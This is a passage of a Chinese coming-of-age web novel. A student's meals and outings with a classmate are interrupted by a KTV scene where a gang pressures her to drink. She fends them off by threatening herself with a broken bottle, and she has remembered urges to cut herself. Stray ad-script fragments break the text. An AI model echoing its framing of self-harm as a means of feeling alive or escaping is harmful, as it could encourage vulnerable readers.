……闻漫居然这么快就来了。 她对着镜子理了理头发,不太满意。松开发圈迅速重新拢了个马尾,这才打开门:“来啦。” 闻漫手里提着一只粉色抽绳袋:“这个给你。” ……这就是他说的要拿的东西吗? 田知意双手接过,打开发现里面是只树脂做的荡秋千的小兔子,秋千绳是麻绳搓的,很有质感。 她将小兔子翻过来,发现秋千下刻着一行小字: 【梦想旅行家:带着梦想出发,梦想会开出最绚烂的花】 常见的小鸡汤,意外地很暖心。 “可可爱爱。”田知意握着小兔子揣进兜里,“你挑的?” 闻漫点头:“昨天晚上逛街的时候顺手买的。” “谢谢。”她礼貌地道谢,转念意识到不对,“昨晚?那考试……” “在今早啊。”闻漫轻轻松松地答。 他们边下楼边聊。 “今早就要考试了,昨晚不用复习吗?” “可能会有人在晚上复习,但我想出去逛逛。” 他们刚好走到楼层的拐角,田知意在前,闻漫在后。她仰着头看着上层的他,满脸的不可置信:“为什么?” “我家里从小教我:大考大玩,小考小玩。” “不考的时候呢?” “用功啊。” 田知意觉得有理,又问:“不怕没考好吗?” “没考好的话……就参加高考咯。” 田知意只点点头,没再说话。 她默默地走在前面,闻漫的举重若轻让她有些恍惚。 ……他怎么可以有那么好的心态? 她私心觉得这样的轻松并不妥当,可他的言辞又十分理智,听起来也很合理。 许是有能力依傍,故而充满底气。 他们住的位置属于城乡接合部的拆迁地段,沿街遍是一楼营业门面与二三楼天地房相结合的配置,别说商场商综体,就是正经饭店也难寻。 贸然踏入,田知意有种时空错踏的感觉。 ……似乎是年代电视剧里才会有的场景。 所幸,不适应只是暂时的,她逐渐在这样的环境里寻觅出些许人情味来。 周围的建筑乍一看都是两三层,细看下来却各有各的不同。有的外墙贴着全白大方片瓷砖,在一楼做了落地窗和玻璃门。门上的春联被风吹日晒了大半年,红色的纸斑斑驳驳,被风揭去一角,摇摇的像是旧时的幡旗。 有的房由红色的砖砌成,在整条街的建筑里最是打眼,田知意路过了都要回头再瞅上两眼,看着那整整齐齐方方正正的一座,只觉得通体舒畅。 ……真是强迫症患者的福音。 最寻常的是灰色的水泥墙建筑,宽敞的门口停着辆充着电的墨禄色电动三轮车,背靠着卷帘门上卷的大门。几个人搬了张矮竹桌和几张竹椅,在没有生意的午后热热闹闹地打牌,引得边上的邻里围过去观看。 闻漫走到一座贴着暗红瓷砖的房前。 这家的一楼也是做的卷帘门,里面隔了一间做了个取菜窗口的厨房。厨房外摆了四五张桌子和一条供茶水的长案。店外没有招牌也没有黑板,两个系着围裙的阿姨坐在门边的长椅上嗑瓜子,见他俩过来,忙起声招呼:“来吃饭啊?” 连口的口音很重,田知意听不明白,没有搭话。 闻漫转头看向田知意:“这家我吃过,味道不错,可以吗?” 田知意本没打算吃多少,也无所谓好坏,只点点头。 阿姨很快欣喜起来,一个起身钻进了厨房,另一个招呼他们进屋坐,递上了张塑封过的、有些油腻腻的菜单。 闻漫点了道爆炒腰花,将菜单递给田知意。 田知意瞅了瞅,要了盘番茄炒蛋。 “会不会不够?”闻漫问,“我没有吃午饭,等下打算随便吃点什么就去上晚自习了,你还打算吃晚饭吗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?” 按照合约,今晚有晚自习,楼长应该要为田知意准备晚饭。 父亲已经说过让她自己对接楼长了,不妨今晚试试让楼长不要备她的餐。 想到这里,田知意将菜单推回给闻漫:“我也不吃晚饭了,你看着加菜吧。” 闻漫加了份鱼汤。 ……一份汤而已,能多到哪里去吗? 不过既然是闻漫的决定,那应该有他的理由。 田知意不喜欢教人做事,只低头给楼长发消息。 【kaamos:褚阿姨,今晚不用准备我的晚饭了,谢谢。】 手机熄屏的瞬间又再度亮起,提醒她有微信消息。 【楼长:好的。】 田知意继续给她发消息。 【kaamos:褚阿姨,以后费用之类的事直接找我就好,我爸妈有些忙,让我自理。】 过了两分钟,楼长回了个“好”。 看到楼长回复,她才重新放下手机。 有的成年人会故意看漏消息,还是分开发送比较稳妥。 就在她发消息的功夫,菜已经上桌了。 最先端上来的是最后点的鱼汤。直径二十多公分的铁锅架在便携式煤气灶上端了上来,鱼沉在奶白色的汤汁下,锅的边沿贴着切得极薄的白萝卜片,白色的豆腐块随着汤水翻滚浮浮沉沉。 “都是熟的,趁烫吃。”阿姨招呼道。 闻漫为田知意翻译了这句话,又替她盛了碗汤:“只要汤还是也要些配菜?” “就汤吧。”田知意想了想,“加点豆腐也可以。” 闻漫把碗递给她,又用方言跟店里的阿姨说了些什么。 阿姨心领神会,不多时给他端来一叠辣椒酱。 田知意猜到了七八分,但还是忍不住问:“你刚刚说了什么?” “我问阿姨有没有辣酱,阿姨说是她家自己拌的,我说好。” “好吃吗?” “现剁的辣椒,很香。” 田知意不吃辣,也不懂辣酱的好坏,只看着闻漫喝完汤后,从锅里夹出好大一块雪白的鱼肉。筷子夹在鱼肉的正中,他将两头分别蘸入辣酱中,轻轻点了点,这才准备齐全似的送入口中,满脸餍足得仿佛在品尝人间至味。 “要试试吗?”闻漫把辣酱碟子往田知意面前推了推。 “我不行的。”田知意摇摇头。 “不算辣,倒是有点咸。” 田知意并不很信他。 吃辣的人总会说不辣,并且试着举出别的味道来证明自己的结论,试图拖人下水。 ……不过也没人规定怕辣的人一定不能吃辣。 田知意心思一动,打算尝试这件危险的事。 她学着闻漫的模样,取了一块鱼肉,但只谨慎地蘸了一点。 即便如此,酱料入口的瞬间,如星火燎原般最先点燃了她的舌头,紧接着是整个口腔,然后顺着喉咙直下,呛得她忍不住大咳起来,慌乱地找纸抹了抹眼镜和鼻子,又将手边的大麦茶一饮而尽。 太狼狈了。她想着。 舌尖还残存着麻酥酥的感觉,痛感还未完全消除,心里的郁结却仿佛被热浪灼开,随眼泪流尽。 她怔怔抚着发烫的脸,察觉到空而澄澈的内心,忍不住笑了起来。 9. 浮梦 “在笑什么?”闻漫问。 “感受到了一些事情的荒诞。” 田知意犹豫片刻,最后还是选择了不详谈。 她曾想过要划伤自己,用疼痛来感知自己的存在,但最终没有付诸实践。 直到刚刚,辣椒的火热,凉水的冲击,夺眶而出的泪水,生命力就在慌乱与狼狈间跃动。 她从未觉得自己有此刻的鲜活。 闻漫不是个多言语的,见她不多说,只招呼她吃菜。 说话间,菜上齐了。 番茄炒蛋颜色鲜亮,田知意尝了一块,咸淡合适。番茄被炒成了她喜欢的糯糯沙沙的口感,原生的酸味被恰到好处的白糖调节了,只有浓郁的香气在齿间弥漫。 像是在森林里猛然吸入一口最清新的空气,满心里都被滋养得丰润富余。 ……这家店真是绝了。 爆炒腰花被摆在番茄炒蛋边上。切得极好的洋葱片、洋葱丝在盘中错落有致地铺开,方片状的青椒仿佛绿叶,其上点缀着一个个小红辣椒圈,均匀地为腰花让出位来。 腰花切得不大,比寻常的切法要细巧些,连带花刀也格外纤细。整片腰花被热油过后微微往外撑起,像朵绽放的花,在配菜间隐隐绰绰、似有还无。 这盘菜如画般,有种质朴又野性的美。 田知意随着闻漫将腰花、洋葱、青椒拢在一起夹了一筷子,和着米饭送入口中。 洋葱浓烈辛辣的原味被甘甜的芬芳取代,青椒的籽去得干净,又炒得极翠,一口下去可以咬出汁水来口感。 最妙的要数腰花的口感,完美吸收了其他配菜的香气,入口轻滑,却无半分粘腻,鲜嫩中略有嚼劲,味道醇厚绵长。 没有任何一个配菜是多余的,没有任何一个配菜是跑偏的。 田知意细细地吃着,等回过神来时,一碗饭已然下肚。 见底的空碗染了红油的印记,仿佛掬了一碗夕阳余晖。 她的胃暖暖的,心里也暖暖的。 闻漫起身去把账结了。 田知意问他价格,要把饭钱转他。 “是我请你陪我的。”闻漫摆摆手,“没有要你花钱的道理。” 田知意也不再勉强,只与他并肩走在回去的路上。 路上热闹了些许,回家的学生陆续返校,来往车辆俨然有了车水马龙的趋势。 田知意走在砖块拼成的人行道上,闻漫走在她的左侧,挡住了沿路的砂尘。 “你是本地人吗?”田知意与闻漫边走边聊。 她有些好奇闻漫的来历。 如果是本地人,他不至于在学生公寓租房。 如果是外地人,他又能说一口流利的方言。 “我是宛东的。” 田知意没听过这个地名,但同为江省人的直觉告诉她,这应该是壶州下面某个县的名字。 这习惯融在了江省人的血脉里,闻漫也无法免俗。 不过,田知意很快生出了新的疑惑。 按江省的散装程度,县里的方言和市区方言会是一致的吗? 至少在她的家乡,市区和县里的方言差了可不止一星半点。 “当然不一样,幸好差得不是很多,学起来也不算困难。” “那也挺厉害了。”田知意想了想,又问,“你为什么不住校?” “最早是住校的,然后被赶出来了。” 田知意以为自己听错了:“赶?” 闻漫答得坦然:“高一上晚自习的时候看了小说,被班主任抓到了,班主任就不准我住校了。” 田知意有些意外:“看小说?” “高中以前周日晚上我都是用来看课外书的,谁知道高中不许。” “不是高中不许吧?”田知意试探着解释,“应该是晚自习的时候不许。我初三上晚自习的时候是不许做与学习无关的事的。” “我读的初中没有强制上过晚自习。” 田知意明白这是学校之间的不同:“那你爸妈……骂你了吗?” “为什么要骂我?”闻漫比田知意还困惑,“住宿规定里并没有写不许在晚自习看书,我的书是在学校图书馆借的。白天上课不能看,晚自习也不能看,就寝的时候没时间看,那图书馆为什么要开门?” “但你算是被老师处罚了吧?” “我觉得他的处罚是没有道理的。”闻漫耸耸肩,“但看在是老师的份上,我们配合了他。反正也不是记过,就不计较了。” 田知意已然震惊了。 如果这件事发生在她身上,她已经能想到她父母会用怎样的词来责骂她了。 ……为什么闻漫反而能觉得他没有错? 好像,他的话也不是毫无道理的样子。 “你从图书馆借的什么小说?” 田知意越困惑就越想问出点答案来。 “《人间失格》。” “唔,好吧。” ……好像不是什么坏书,但也称不上和学习有关。甚至写作文时若想引用,还得带着点挑战权威的勇气。 田知意揉了揉太阳穴,一时不知道该怎么答话。 ……这就是优等生的底气吧。 走到半途,田知意被一家水果摊吸引了目光。 水果摊的摊主靠着椅子玩手机,懒洋洋的,也不主动招呼他们。 田知意停下脚步,在摊子前踟蹰起来。 摊主这才慢悠悠地够过脑袋来:“想买什么?可以尝的。” 这个季节秋梨刚刚上市,黄澄澄的一片,散发着成熟的清香。 田知意随手拿了一个,在手里掂了掂,有些沉手。 她把手中的梨递给摊主:“我想尝尝这个。” 摊主找来把小刀,刨木花似的利索地褪下皮来,剜下小半块来,示意田知意伸手接。 田知意拌扯拌拽地得了梨肉,轻轻咬了一口。 清甜的汁液瞬间沁入唇齿之间,往着脏腑更深处润去。 ……好吃。就买这个吧。 她囫囵地将剩下的梨肉吃了,仔仔细细挑了几个外表没大缺陷的梨,摊主用塑料袋装了,报了数给她。 田知意听着不觉得贵,正要付钱,却听见闻漫与摊主讲了些什么。 摊主起初有些不依不饶,摆手指了指自己的摊,又环指了一圈,似乎是在跟街坊邻里做比较。 但显然闻漫要坚定得多,让摊主都不觉败下阵来:“行吧行吧,就算我今天做亏本生意。” 他重新报了个数,这次田知意听懂了,比原来的价格便宜了三分之一不止。 她这才意识到,刚刚闻漫是在讲价,这在同龄人来说算是相对稀缺的技能。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 田知意有些可惜没有听懂他们之间的对话,似乎错过了很精彩的交锋。 “你跟老板说了些什么?”田知意悄悄地问。 “我说他卖贵了。他也确实卖贵了,就准我还价了。” “你怎么知道他卖贵了?” 田知意对水果的价格毫无概念,也不觉得十几块钱算贵。 “我家有片果园哦。”闻漫笑着答,“要不是他家的梨品质还不错,我还能再还低点。” “也就几块钱的来去,费大力气还价值得吗?” 田知意依旧不解,她很怕挡了别人的财路,把摊主激怒了被揍一顿。 “一次两次这么想没什么问题。但要是经常这么买的话,他家卖给你的东西会越来越贵的。” 田知意一惊:“会吗?” 这是她从未想过的角度。 “做生意的老板记性都很好的。谁看得细、谁不问价、谁的袋子里能塞点烂果子……他心里都有本帐,一旦被认定了不懂行情又出手大方,自然会不断加价,反正你也发现不了。” “我知道了就不会再去了。” “这是当然的。有些店就是这么倒闭的。” 田知意不禁对闻漫刮目相看起来。 他从不会对她言辞激烈地说教,讲的话她都能听懂,还不知不觉地就信了。 她想到一个寓言故事。 风与太阳争执谁更有能量。 北风固然凛冽,但能让行人脱去外套的却是温暖的阳光。 回到公寓,离返校还有些时间。 他们一同上了楼,分别前,田知意把梨递给闻漫。 闻漫不解:“这是?” “本来就是买给你的。”田知意露出抹微笑,“刚刚的饭很好吃。” 没有厌食,也没有暴食,这种饮食的平衡的感觉着实是种难得的美妙体验。 闻漫的脸红了红:“我好像做了多余的事。” 田知意愣怔片刻便反应过来他指的是还价的事。 看着他难得尴尬的模样,田知意突然起了坏心思:“我的心意好像被某人打折了,该怎么补偿呢?” 她眼中一闪而过的灵动被闻漫刚好捕捉,仿佛无意瞥见一颗滑落的星。 是难得又想再看到的景致。 闻漫想了想:“要不我借花献佛,煮梨水招待你吧?” 田知意也没再客气,笑嘻嘻地答:“好。” 好心情是命运给她的限时馈赠,她要充分利用,因为它随时会截止。 纵使已有一天半没有住人,闻漫的家中依旧整洁干净。 他走进厨房,田知意也跟着去了。 只见闻漫将梨泡在盆中,用盐搓掉了上面的果腊。稍作冲洗后,他拿来把柳叶般纤长的折叠水果刀,用左手拇指和食指抵住梨,右手大拇指压住刀片,手腕用力,梨子的皮就螺旋状地一圈圈落了下来,在盆里铺成一朵好看的花。 除了“好看”,田知意再也想不出别的形容词。 他将果肉在砧板上切成大小相近的小块,只用指尖轻轻一拨刀锋,黏连在刀片上的果肉便被投入洁白的、没有半点花纹的碗中,就像是砌满了一碗晶莹的雪。 连插在梨上的竹牙签都随之高级了起来。 另一部分则投入了玻璃水壶中,随着水温上升“咕嘟咕嘟”地沉浮。 10. 浮梦 闻漫将盛了梨的瓷碗递给田知意,自己很自然地捏着切剩下来的梨芯两端,咬了咬核边上的果肉:“还挺甜的,品质确实不错。” 核边的肉有些苦,并不如其他部位的果肉甜。 田知意无法心安理得地大快朵颐,只能默默用牙签扎起一小块梨,送到他面前:“尝尝这个。” 闻漫愣了愣,旋即露出笑容。他小心翼翼地从她手中接过细细的牙签,仿佛接过了神圣的火炬。 见他吃了,田知意又戳了一小块给自己。 清甜的梨香瞬间在唇齿间蔓延开,带着些拂去燥热的凉意,爽口宜人。 半个小时后,梨水煮熟了。 出壶时,闻漫过滤掉了壶里细碎的残渣,端上桌时,碗里清清亮亮的汤水,清晰地映出田知意的影子。 田知意抿了一小口,甜味淡淡的。 像饮下了一整秋的爽气。 周日的晚自习没有布置额外的作业,是给学生查漏补缺的时间。 重点栽培班里鲜少有自觉的学生,看班老师走了没多久,班里就闹成一锅粥。 田知意对喧闹充耳不闻,兀自整理这周的错题。 这个班上课的进度比她原先的学校要慢很多,田知意虽然时常精神不济,但在状态不错的时候也会试着找找自己的学习节奏。 理智告诉她不能再高考失利第二回了。 她正写着题,冯钰突然丢了张纸团过来。 田知意打开一看—— 周六的约还记得吗? ……应该是指去KTV放松那件事。 田知意刚想回答,一张嘴就发现自己的声音被淹没在了嘈杂的背景音里。 ……怪不得选择了扔纸团。 她将纸团摊开抚平,写下“记得”,又扔回给冯钰。 冯钰对她的回答很满意,在纸上写下一长串字。 田知意看了,是冯钰留了手机号,让她回去加微信,发KTV的位置。 ……直接写KTV名不也一样的吗? 回去之后,田知意拖拖拉拉到周中才发出加好友的申请,冯钰又是一阵拖延,直到周五晚上,田知意才收到了第二天的时间地点。 KTV的位置在隔壁镇上,打车过去大约十分钟。 田知意按时到了。 这家KTV看起来又新又旧的:紫色的屋檐、黑色的巨幅落地窗,古铜色的大门雕满了欧式复古纹样。夸张的银色货币纹样海报从落地窗头贴到尾,硕大的变异字体写着少爷公主的招聘信息。 新得廉价,旧得老土。 田知意还没走近,边上已然走来两位大叔,插过她面前向门口走去。KTV的大门就像是有魔法般自动开了,约摸近十位着制式衣装的女性从里面走出来,分成两排站在门边。 她们大多穿着月白底浅青绣花的旗袍,唯有站最前头的领班穿的是深青底白绣花的,肩头多了条浅灰钩花针织披帛,在她的示意下,众人齐刷刷地出声: “贵宾下午好,欢迎光临。” 两位大叔连个头都没点就进门了。 门内昏暗,田知意站在一片光里,分毫看不清里面的情形。 直到领班与她搭话,田知意才回过神来:“嗯?” 领班一脸待客的标准笑意:“这位贵宾,您也有约吗?” “算是吧……” 田知意话还没说完,只听冯钰远远地唤她:“知意,这边!” 领班心领神会,引田知意进门。 她身姿款款,举手投足颇为好看。 田知意看这身段,只觉有些眼熟,似乎在哪里见过。 冯钰没给她细想的时间,上来挽住她的胳膊:“你来晚了哦。” 田知意看了眼时间:“被刚刚大叔的进门表演耽搁了。” 厚厚的大门重重关上,只有阴影沉沉垂落。 没有半点声响。 一种诡异的违和感铺面袭来。 大厅被黑色的玻璃包裹,走廊却贴满了金色的墙布,就连挂画的框也是金色的。 暗沉的黑与明亮金在深色的灯下形成了诡异的交会,调和成生锈的铜器般的色泽。 田知意凝视着玻璃上自己的倒影。 人在不安时便喜欢找自己的影子,能让自己产生一种“不只一个人”的错觉。 空气里烟味弥漫,像是终年不散的雾。 冯钰推开了一间包厢的门。 里面乌压压的一片,似乎坐了十来个人。 五颜六色的氛围球灯扎眼地扫射过来,烟味与酒味一处,每个人脸上都灰蒙蒙的。 包厢的三个角上分别坐了一个唱歌的人,男男女女的声音交织在一起,将邓紫棋的《泡沫》打散又聚拢,歌声比歌词还支离破碎。 ……说是精神污染也不为过。 田知意看了眼冯钰,冯钰尴尬地笑笑:“随是随便了点……不过KTV嘛……” 说话间,有个未开封的啤酒瓶“咕噜”滚到她们跟前。 冯钰忙示意田知意去捡:“阿莓姐喊我们过去……带着这瓶酒。” 田知意依言俯身。 啤酒瓶被冰过,瓶壁上沾满了液化的水汽,握着瓶颈,又凉又打滑。 她循着酒瓶沿路滚来的水渍看去,只看到一双黑色圆头厚底长靴,锃亮的靴面打着扎眼的铆钉。 再一抬眼,发现鞋的主人是个年纪与她相仿的女生,双腿叉开坐着,上半身极端前倾,两手虚虚一拢,整个上臂都压实在大腿上,极具压迫感地居高临下地看着她。 她就是阿莓吧? 田知意这么想着,握着啤酒瓶慢慢直起身。 阿莓姿势不变,偏过头不再看田知意。她身旁的男人殷勤地将点燃的细烟递到她唇边,阿莓轻轻叼起,这才抬手夹住烟,慢慢悠悠吐了个烟圈。 她的双眼随烟圈的消失而逐渐眯起,深棕色的眼影显得格外突出,仿佛自然界生物才有的复眼。 据说复眼是无数个小眼睛组成的大眼睛,每个眼睛都可以看向不同的方向。 田知意看着阿莓,心里一阵密集恐惧涌起的不适。 冯钰偷偷掐了掐她:“快去吧,阿莓不喜欢等。” 田知意只得跟着冯钰上前,听冯钰跟阿莓介绍自己:“阿莓姐,这是我带来的。” “哦。” 阿莓终于扭头转过来,长长的方形耳坠如风铃般晃动。田知意被她的目光从头扫到尾,最后只听 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她问:“愣着做什么?不懂规矩吗?” 她的声音有些沙哑,似乎是长期吸烟喝酒后形成的烟嗓,搭配上她朋克的装扮,倒很有些独特的魅力。 ……什么规矩? 田知意看向冯钰。 冯钰将她手中的酒瓶抬高:“规矩就是喝了它。” “我在吃药,不能喝酒。”田知意说。 “就算是吃了头孢,在这里,都得喝酒。”阿莓盯着田知意的眼睛,目光如刺,“看在你是新人的份上,只一瓶啤酒,已经很客气了。” “我不能喝酒。”田知意重复了一遍。 耗费了那么多时间,田知意终于想到KTV领班的身段她在哪儿见过——父亲经营的山庄里,很多服务员都有这样姣好的身姿。 而她,再清楚不过那些服务员可能会提供怎样的擦边服务。 弄清楚了这点,田知意便再没了半分留下的心思。 她的举动成功激怒了阿莓,冯钰连忙劝她:“知意,你是新人,开个瓶盖,慢慢抿完也就是了。阿莓姐就是看个态度。” 态度。 田知意想了想,问冯钰:“想看我真实的态度?” 冯钰连连点头:“对的对的,态度就好。” 田知意点点头,稍稍往边上让了让。 见她将瓶子举高,冯钰以为她想通要喝,忙递上开瓶器。 田知意没有接。 她慢慢将酒瓶再抬高了些,随即趁所有人不备,狠狠将酒瓶往茶几上砸去。 只听“咔啦”一声,玻璃碎裂,酒液迸溅,坐在沙发上的人齐齐斜倒避开,只有阿莓还在原位,死死地盯着她:“想死吗?” 田知意举起碎得尖刀般锋利的瓶颈:“你说对了。我这人,随时可能干掉自己。” 冯钰早已被吓得趴倒在地,只扯着田知意的裤腿,不知该说些什么。 音乐不知被谁按了暂停,包厢里死一般的寂静,只有氛围球灯不知疲倦地闪烁着,映得每个人脸上五彩斑斓。 “大家都是来找乐子的,把我弄死了可不是件好事。” 田知意握着锐器对准自己,没人乐意上前多事。 阿莓嗤笑出声:“既然是找乐子的,你又在做什么?没想过带你过来的人会很为难吗?” 田知意瞥了眼身侧的冯钰:“在她骗我只是来放松的那刻起,为难的就只有我一人了。” 阿莓也看向冯钰,目光如刀锋,仿佛在指责她选人的不智。 冯钰此刻骑虎难下:“骗你是我不对,可你现在……” “我现在想走。”田知意望着阿莓,“这要求高吗?” 阿莓没有出声,对峙仍在继续。 终于,阿莓身边的男生忍不住开口劝了:“莓姐,这人这么耿,等下恐怕更不会配合。就算用强的,她回头心一横找警察都说了……我们多少有点麻烦……” 许是他们真有些要避人耳目的秘密,阿莓被说动了:“要滚赶紧滚,把大家的兴致都搅了。今天的事你要敢说出去试试。” 田知意没有搭话,依旧攥着那如刀般锋利的瓶颈,退着出了包厢。 关上的瞬间,只看到阿莓一抬手,冯钰连滚带爬地往她方向去了。 11. 浮梦 田知意退出包厢后,没有立即离开KTV。 手里还握着碎得参差不齐的瓶颈,沾着黏黏的酒水混汗水。 她拐进了洗手间。 正好居中的隔间开着门。 田知意钻了进去,将瓶颈扔进了废纸篓,这才如释重负地坐在马桶上。 冷静下来才发现,她的额前、后背早就被汗水打湿。 她拍了拍自己的脸,像是刚从异常疯狂里清醒。她有些恍惚,仿佛刚刚的一切不是发生在几分钟以前,而是早就根植在她遥远的、记忆深处的想象力,直到一股脑儿地爆发出来。 ……醒醒,醒醒。 澎湃的血液尤是滚烫,理智却逐渐回笼。 医生提醒过她要时刻注意躁动的倾向,送给她的本子上也有每日暴躁情绪的记录。 她已经满勤了好几天,不想在今天被情绪波动打断了她完美的记录。 刚才不过是想要脱身的事急从权。 田知意这么对自己说,不是什么暴躁情绪。 灼热慢慢褪去,田知意擦了擦汗,正要起身离开,却听到门外传来结伴来的脚步声,来人叽叽喳喳地讨论着什么。 “刚刚那女的很猛诶,敢在阿莓姐面前那么说话。” “新人吧,这么不乖,不能拉她入伙了。” “冯钰可就惨咯,她这个月底前一定要拉人进来的。要是完不成,也不知道阿莓姐要怎么罚她。” “还能怎么罚?减量呗。” “那可有得她受的……” ……是那个包厢里的人,来了两个。 田知意默默地想,没有发出声音。 二人中的一个进了她右侧的隔间,另一个人拉了拉田知意面前的门,不出意料地没拉动。 这人似乎很谨慎,又推了推,发现门依旧纹丝不动。 “居然有人。” 田知意听到对方这么说。 “厕所有人不是很正常吗?”右侧隔间里的人说,“总不能我们每次上厕所都清场吧?” 田知意面前的人这才消停了些许,有些心不甘情不愿地进了左侧的隔间。 趁她们如厕的间隙,田知意推开门,在洗手台稍一冲手,甩了甩就离开了卫生间。 从卫生间到大门的路还算顺畅,除了几个服务生,再没遇见其他人。 坐在喊来的出租车上,田知意后知后觉地想起,她莫名听到了信息量很大的对话。 “新人”“入伙”……还有早先听到阿莓身边的男人所说的“心一横找警察”,无不昭示着他们有个共同的秘密,而她本来也要参与到这个秘密之中,因为她的抗拒而暂时脱离。 ……这样就真的安全了吗? 田知意也不很确定。 人在外地,身不由己。 她一时想不到该跟谁讨论这件事,只得敲响了闻漫的房门。 这日是周六,田知意没指望闻漫在家。 可一切就像说好了似的,穿着外出衣服的闻漫为她开了门:“怎么,有事?” 见惯了他穿校服的样子,突然看到他的私服装束,田知意的眼睛亮了亮:“穿这么好看,是晚上有约会?” 信口开河而已,闻漫怎么也不像是会在高三顶风作案去早恋的学生。 但白色衬衫配深色长裤外搭驼色马甲的闻漫看起来着实抢眼,让田知意忍不住想要消遣他几句。 “晚上要出去。”闻漫多少是招架不住了,“真……很好看吗?” “好看的。”田知意看着他,看他的脸一点点涨红,忍不住笑他,“是着急出门吗?” 闻漫一愣:“也没那么急,你坐下慢慢说。” 说着,他从桌底下为她抽出张方凳来。 田知意也不客气,将她下午的遭遇讲了一遍。 当然,隐去了她砸酒瓶子的暴力部分,只推说她发了脾气才跑出来的。 闻漫认真听了,想了想问她:“你还记得是在哪个KTV的哪个包厢吗?” 田知意点点头,说给他听了。 闻漫不再说话,空气也随着他的沉默凝滞下来。 “出什么事了吗?”田知意问。 闻漫摇摇头。 很快,他像是意识到自己的表情太过凝重了一般,抬头笑着问田知意:“今晚我打算去听音乐会,你晚上空吗?” “原来出去是要听音乐会……”田知意顺着他的思路想了想,“好像确实没什么事。” ……除了要学习之外。 “劳逸结合嘛……” 这已经是第二个跟她讲今天要劳逸结合的人了。 田知意有些纳闷,甚至怀疑今天是不是壶州特有的“放松日”。 但见闻漫的神情着实诚恳,加之经历刚刚的事情之后自己着实不敢一个人落单,便应了下来:“好呀,谢谢啦。” “那我们现在要出门了。”闻漫看了看时间,“坐车过去话还能赶上在附近吃晚饭。” 在连口坐车并不方便,少的班次可能二十分钟才能等到一班。 站台也很不显眼,只竖着一个小小的站牌,上面写着密密的字。人少的时候往往会被路过的公交车忽略,乘客需要从站牌边上探出脑袋,用力地挥手,甚至配合大声的呼喊,这才能看到公交车刹车之后,在惯性的驱使下晃晃地停到前面。 整个过程有些滑稽,但比起再等待二十分钟,还是值得的。 不过这天他们运气不错,赶到站台的时候,刚好看见公交车远远地朝着他们放慢了速度,稳稳地停在了闻漫面前。 车里人不算拥挤,但也没了空位。 田知意握住了下车门边的立杆,闻漫则在她身边拉住了吊环。 公交车再次起步,依旧是晃晃悠悠的。 田知意站得不很稳,下意识地紧紧攀住立杆。闻漫离得极近,她甚至能嗅到他衣服上淡淡的气息。 混杂了洗衣液、阳光和一种不知名的味道,闻起来有种温暖的感觉。 ……是闻漫的味道。 田知意愣怔片刻,悄悄扭过头,将目光投向窗外。 又过了几站,上来好几位乘客。 坐在后部的乘客似乎一时没有下车的意愿,有人甚至将卫衣的帽子紧紧罩住脑袋,垂头抱着肩养神。 乘客逐渐向田知意这边聚集过来。 田知意本就站得不稳,被冷不丁地一挤,双脚一错将将要摔倒。恰在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 此时,闻漫及时扶住了她,宽大的肩膀揽住她时,熟悉的气息便顺着衣襟钻进了田知意的鼻尖,她脸一红,连忙立住了腿。 这时她才惊觉,闻漫竟那样高。 “谢谢。”田知意低声向闻漫道谢。 闻漫回过神来,连忙松了手,别过头看了眼身后:“有人要下车了。” 他的动作行云流水,若不是颊上绯红,当真让人看不出异样。 田知意不说话,只顺着闻漫的目光往后看去。 每个乘客都坐得好好的,完全看不出有谁要下车的趋势。 ……这是他的托词吗? 田知意正想着,司机却踩下了刹车。原本稳坐后排的乘客瞬间纷纷起身,田知意身后的人群也随之活动起来,仿佛是奔涌的暗流。 她被一前一后两股人潮夹着,步履维艰。 几乎就是车刚停稳的瞬间,闻漫握住了她的手腕,带着她向着空位跑去。 手腕本就是人身上的软处,闻漫的手指又很修长,田知意竟像是被扣住了一样,一如初见当晚被闻漫收拾好的讲义,服服帖帖。 只能整个人被他带着跑,完全失了方向。 仿佛她穿过的不是公交车上的人群,而是茂密的丛林,缠绕束缚的植物与阴影遮蔽了她的视线,只有闻漫是唯一的光。 他将她送到靠窗的位置上,又在她身边坐下。 没占到座位的乘客很快涌了过来,被闻漫严严实实地挡在了外侧。 “还有好久呢。”闻漫悄声对田知意说,“你可以休息一会儿,到了我喊你。” 嘈杂的环境里,他的声音是独树一帜的清晰。 田知意闭上眼,阳光透窗而进,落在她的眼前,迤逦出一片金色,还有些舒服的温热。 手腕上还残留着闻漫掌心的力度。 她不知道他什么时候松开的手,仿佛那一刻的亲密,与她穿过丛林的感觉一般,都是场幻梦。 座椅很硬,硌得她睡不着,看手机又觉得眼花。 田知意有些无聊,便转头和闻漫聊天:“壶州没有地铁吗?” “今年刚刚批准兴建。” “那要建到什么时候?” 闻漫想了想:“大约要两三年后才能通车。” 田知意抿唇:“那我都不在这边了。” 没等闻漫答话,她又问:“今晚的音乐会是哪个乐团的?” “称不上乐团,是动漫电影音乐的演奏会,以宫崎骏的作品为主。沪市有些艺术学院的学生要进行毕业表演,会选在壶州进行。” 这种演出最近多如牛毛,票卖得也不算紧俏。 田知意想了想,仍有些不解:“那你刚好有多余的票吗?还是说……本来打算约别人的?” “嗯……我堂姐在剧院工作。有时候会让我去填一填座位。” 田知意懂了。 剧场有时候会出于上座率的考虑,安排一些赠票或者干脆放些人进来坐一坐。 以前她表演时就遇到过这样的情况。 毕竟不是每场音乐会都能有资格人满为患的。 只是今日,她从表演者变成了观众。 倒也算是十分难得的体验。 12. 浮梦 许是暖阳照得人晕晕的,田知意又和闻漫闲聊了几句,便觉得困倦。 双眼被晒得温温的,一闭眼便坠入了一片橙红色的海洋。 车内嘈杂的人声、路上的车流声、街边小店的广播声……都被一阵又一阵的海浪覆没,只有安宁将她包裹。 她在橙红的海洋里做了一个温暖的梦,以至于醒来时,还有些恍惚:“……到了?” 这个季节天黑得一天比一天早。田知意看向窗外时,天已经黑透了。路灯点点,街边灯牌闪烁,米白与鲜红混杂,仿佛油画上迷离的笔触。 “到了呢。”她听到闻漫轻声回答。 田知意混在人群里,跟着闻漫下了车。 夜风扑面而来,沁心的凉。 像是盛夏里猝不及防吞下的一口冰。 “现在去哪儿?”田知意问。 